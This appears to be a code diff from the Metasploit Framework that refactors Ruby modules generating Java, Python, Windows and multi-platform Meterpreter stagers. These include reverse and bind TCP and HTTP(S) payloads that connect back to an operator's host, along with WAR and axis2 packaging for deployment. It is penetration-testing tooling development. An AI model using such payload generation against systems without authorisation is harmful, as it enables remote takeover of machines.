|
||||
#
|
||||
def generate_war(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
zip = Rex::Zip::Jar.new
|
||||
|
||||
web_xml = %q{<?xml version="1.0"?>
|
||||
@@ -96,27 +99,26 @@ module Msf::Payload::Java
|
||||
paths = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
[ "metasploit", "PayloadServlet.class" ],
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
zip.add_file('WEB-INF/', '')
|
||||
zip.add_file('WEB-INF/web.xml', web_xml)
|
||||
zip.add_file("WEB-INF/classes/", "")
|
||||
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
|
||||
zip.add_file("WEB-INF/classes/metasploit.dat", config)
|
||||
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts))
|
||||
|
||||
zip
|
||||
end
|
||||
|
||||
#
|
||||
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
|
||||
# Stagers define a list of class files in @class_files which are pulled
|
||||
# from the MetasploitPayloads gem. The configuration file is created by
|
||||
# the payload's #config method.
|
||||
# Stagers define a list of class files returned via class_files. The
|
||||
# configuration file is created by the payload's #stager_config method.
|
||||
#
|
||||
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
|
||||
# @return [Rex::Zip::Jar]
|
||||
def generate_axis2(opts={})
|
||||
raise if not respond_to? :config
|
||||
raise if not respond_to? :stager_config
|
||||
|
||||
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
||||
|
||||
@@ -132,16 +134,26 @@ module Msf::Payload::Java
|
||||
paths = [
|
||||
[ 'metasploit', 'Payload.class' ],
|
||||
[ 'metasploit', 'PayloadServlet.class' ]
|
||||
] + @class_files
|
||||
] + class_files
|
||||
|
||||
zip = Rex::Zip::Jar.new
|
||||
zip.add_file('META-INF/', '')
|
||||
zip.add_file('META-INF/services.xml', services_xml)
|
||||
zip.add_files(paths, MetasploitPayloads.path('java'))
|
||||
zip.add_file('metasploit.dat', config)
|
||||
zip.add_file('metasploit.dat', stager_config(opts))
|
||||
zip.build_manifest(:app_name => app_name)
|
||||
|
||||
zip
|
||||
end
|
||||
|
||||
# Default to no extra class files
|
||||
def class_files
|
||||
[]
|
||||
end
|
||||
|
||||
# Default to no extra stage class files
|
||||
def stage_class_files
|
||||
[]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
spawn = ds["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = ds["AESPassword"] || ''
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
end
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
# TODO: we should handle opts in class_files as well
|
||||
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||
[
|
||||
["metasploit", "AESEncryption.class"],
|
||||
]
|
||||
else
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,102 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for Java payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java Meterpreter & Configuration',
|
||||
'Description' => 'Java-specific meterpreter generation',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' => {'Convention' => 'http https'},
|
||||
'Stage' => {'Payload' => ''}
|
||||
))
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Override the Payload::Java version so we can load a prebuilt jar to be
|
||||
# used as the final stage; calls super to get the intermediate stager.
|
||||
#
|
||||
def stage_meterpreter(opts={})
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
||||
config = generate_config(opts)
|
||||
|
||||
# All of the dependencies to create a jar loader, followed by the length
|
||||
# of the jar and the jar itself, then the config
|
||||
blocks = [
|
||||
generate_default_stage(opts),
|
||||
[met.length, met].pack('NA*'),
|
||||
[config.length, config].pack('NA*')
|
||||
]
|
||||
|
||||
# Deliberate off by 1 here. The call to super adds a null terminator
|
||||
# so we would add 1 for the null terminate and remove one for the call
|
||||
# to super.
|
||||
block_count = blocks.length + stage_class_files.length
|
||||
|
||||
# Pack all the magic together
|
||||
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_class_files
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||
# method.
|
||||
#
|
||||
# The Meterpreter.class stage is just a jar loader, not really anything
|
||||
# to do with meterpreter specifically. This payload should eventually
|
||||
# be replaced with an actual meterpreter stage so we don't have to send
|
||||
# a second jar.
|
||||
[
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
||||
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
||||
# Must be last!
|
||||
[ "javapayload", "stage", "Meterpreter.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks HTTP(S)
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
uri = generate_uri(opts)
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
c = ''
|
||||
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
||||
c << "URL=#{scheme}://#{ds['LHOST']}"
|
||||
c << ":#{ds['LPORT']}" if ds['LPORT']
|
||||
c << luri
|
||||
c << uri
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
#
|
||||
# Scheme defaults to http
|
||||
#
|
||||
def scheme
|
||||
'http'
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/java/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseHttps
|
||||
|
||||
include Msf::Payload::Java::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Override the scheme so that it has https instead of http
|
||||
#
|
||||
def scheme
|
||||
'https'
|
||||
end
|
||||
|
||||
#
|
||||
# Override class_files to include the trust manager
|
||||
#
|
||||
def class_files
|
||||
[
|
||||
["metasploit", "PayloadTrustManager.class"]
|
||||
]
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,76 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Java that speaks TCP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Java::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register Java reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate configuration that is to be included in the stager.
|
||||
#
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
spawn = ds["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = ds["AESPassword"] || ''
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
end
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
# TODO: we should handle opts in class_files as well
|
||||
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||
[
|
||||
["metasploit", "AESEncryption.class"],
|
||||
]
|
||||
else
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
#
|
||||
#
|
||||
###
|
||||
module Msf::Payload::Multi
|
||||
|
||||
# TOOD: require the appropriate stuff!
|
||||
#require 'msf/core/payload/windows/dllinject'
|
||||
#require 'msf/core/payload/windows/exec'
|
||||
#require 'msf/core/payload/windows/loadlibrary'
|
||||
#require 'msf/core/payload/windows/meterpreter_loader'
|
||||
#require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
#require 'msf/core/payload/windows/reflectivedllinject'
|
||||
#require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def apply_prepends(raw)
|
||||
''
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Multi-Platform Meterpreter Payload',
|
||||
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => ['multi'],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Stage' => {'Payload' => ''},
|
||||
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
|
||||
))
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def replace_var(raw, name, offset, pack)
|
||||
return true
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for arch-agnostic HTTP.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Multi::ReverseHttp
|
||||
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Multi
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
# Not such thing as a first stage for multi/reverse_http
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/multi/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for arch-agnostic HTTP.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Multi::ReverseHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Multi::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -14,6 +14,7 @@ module Msf
|
||||
|
||||
module Payload::Python::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
@@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
# Get the raw Python Meterpreter stage and patch in values based on the
|
||||
# configuration
|
||||
#
|
||||
@@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
|
||||
# HTTP(S) transports.
|
||||
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
||||
# set for HTTP(S) transports.
|
||||
# @option opts [String] :http_url The HTTP(S) URL to patch in to
|
||||
# @option opts [String] :url The HTTP(S) URL to patch in to
|
||||
# allow use of the stage as a stageless payload.
|
||||
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
||||
# header for HTTP(S) transports.
|
||||
@@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
|
||||
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
||||
# this stage.
|
||||
def stage_meterpreter(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
if datastore['PythonMeterpreterDebug']
|
||||
if ds['PythonMeterpreterDebug']
|
||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||
end
|
||||
|
||||
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
|
||||
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
|
||||
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
|
||||
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
|
||||
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
|
||||
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
|
||||
|
||||
uuid = opts[:uuid] || generate_payload_uuid
|
||||
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
||||
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
||||
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
|
||||
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
|
||||
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
|
||||
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
|
||||
|
||||
if opts[:http_proxy_host].to_s != ''
|
||||
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||
|
||||
if http_proxy_host.to_s != ''
|
||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
|
||||
@@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts.merge!({
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
user_agent: datastore['MeterpreterUserAgent']
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
user_agent: ds['MeterpreterUserAgent']
|
||||
})
|
||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||
|
||||
|
||||
@@ -89,7 +89,10 @@ module Msf::Payload::Stager
|
||||
#
|
||||
# @return [String,nil]
|
||||
def stage_payload(opts = {})
|
||||
return module_info['Stage']['Payload']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Payload']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
@@ -97,7 +100,10 @@ module Msf::Payload::Stager
|
||||
#
|
||||
# @return [String]
|
||||
def stage_assembly
|
||||
return module_info['Stage']['Assembly']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Assembly']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
@@ -108,7 +114,10 @@ module Msf::Payload::Stager
|
||||
#
|
||||
# @return [Hash]
|
||||
def stage_offsets
|
||||
return module_info['Stage']['Offsets']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Offsets']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -38,7 +38,11 @@ class Msf::Payload::UUID
|
||||
19 => ARCH_DALVIK,
|
||||
20 => ARCH_PYTHON,
|
||||
21 => ARCH_NODEJS,
|
||||
22 => ARCH_FIREFOX
|
||||
22 => ARCH_FIREFOX,
|
||||
23 => ARCH_ZARCH,
|
||||
24 => ARCH_AARCH64,
|
||||
25 => ARCH_MIPS64,
|
||||
26 => ARCH_PPC64LE
|
||||
}
|
||||
|
||||
Platforms = {
|
||||
@@ -104,7 +108,7 @@ class Msf::Payload::UUID
|
||||
puid = seed_to_puid(opts[:seed])
|
||||
end
|
||||
|
||||
puid ||= Rex::Text.rand_text(8)
|
||||
puid ||= SecureRandom.random_bytes(8)
|
||||
|
||||
if puid.length != 8
|
||||
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
|
||||
@@ -252,7 +256,7 @@ class Msf::Payload::UUID
|
||||
end
|
||||
|
||||
# Generate some sensible defaults
|
||||
self.puid ||= Rex::Text.rand_text(8)
|
||||
self.puid ||= SecureRandom.random_bytes(8)
|
||||
self.xor1 ||= rand(256)
|
||||
self.xor2 ||= rand(256)
|
||||
self.timestamp ||= Time.now.utc.to_i
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
@@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: ds['EXITFUNC'],
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
stageless: opts[:stageless] == true
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
@@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
@@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
|
||||
@@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
super(ssl: true)
|
||||
def generate(opts={})
|
||||
opts[:ssl] = true
|
||||
super(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
port: ds['LPORT'],
|
||||
host: ds['LHOST'],
|
||||
retry_count: ds['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
|
